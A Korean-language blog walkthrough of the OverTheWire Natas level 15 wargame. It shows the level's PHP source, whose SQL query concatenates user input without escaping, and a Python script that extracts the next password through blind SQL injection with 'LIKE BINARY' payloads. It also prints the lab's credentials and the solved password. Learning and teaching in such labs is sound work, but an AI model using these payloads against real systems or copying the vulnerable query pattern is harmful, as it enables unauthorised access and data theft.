반응형
바로 소스를 보도록 합시다.
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
Username 부분을 무조건 참으로 만들었더니 "This user doesn't exist."이 출력되는 걸로 보아서는
"Blind SQL Injection"을 이용해야 하는 것 같습니다.
먼저 유저 이름은 유추해서 대충 찾아봤는데 다음과 같았습니다.
이를 이용해서 한번 찾아보도록 합시다.
[ natas15.py ]
import requests, string
url = "http://natas15.natas.labs.overthewire.org/index.php"
auth_username = "natas15"
auth_password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
exist_user = "This user exists."
# characters =
#'abcabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
characters = ''.join([string.ascii_letters,string.digits])
pass_dict = []
print('Searching Used Characters', end='')
for char in characters:
uri = ''.join([url,'?','username=natas16"+and+password+LIKE+BINARY+"%',char,'%','&debug'])
r = requests.get(uri, auth=(auth_username,auth_password))
#print(r.text)
if exist_user in r.text:
print('.', end='')
pass_dict.append(char)
print()
print(pass_dict)
# username, password 모두 64 글자 이내의 길이
# password 비교는 case-sensitive!
# 그래서 LIKE BINARY 를 이용해 비교해준다.
print("Bruteforcing...")
password = ''
pass_list = []
for i in range(64):
for char in pass_dict:
check = ''.join([password,char])
# Build the GET request
uri = ''.join([url,'?','username=natas16"+and+password+LIKE+BINARY+"',check,'%','&debug'])
r = requests.get(uri, auth=(auth_username,auth_password))
# Parse the HTTP response
if exist_user in r.text:
pass_list.append(char)
password = ''.join(pass_list)
result = f'Length: {len(password)}, Password: {password}'
print(result)
원래라면 길이도 구한 다음에 돌리는 게 맞지만
어차피 64개 이하인거 그냥 다 돌리자 싶어 돌렸습니다.
그리고 어지간한 시간 지나도 결과 안 나오면 그게 끝이겠지 싶었죠.ㅎㅎㅎ
그래서 나온 결과는
이렇습니다.
이번에는 코딩하는게 가장 큰 난제였군요. 모르는 것이 있다면 댓글로 남겨주세요!
아무튼 다음으로 넘어가 봅시다.
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
반응형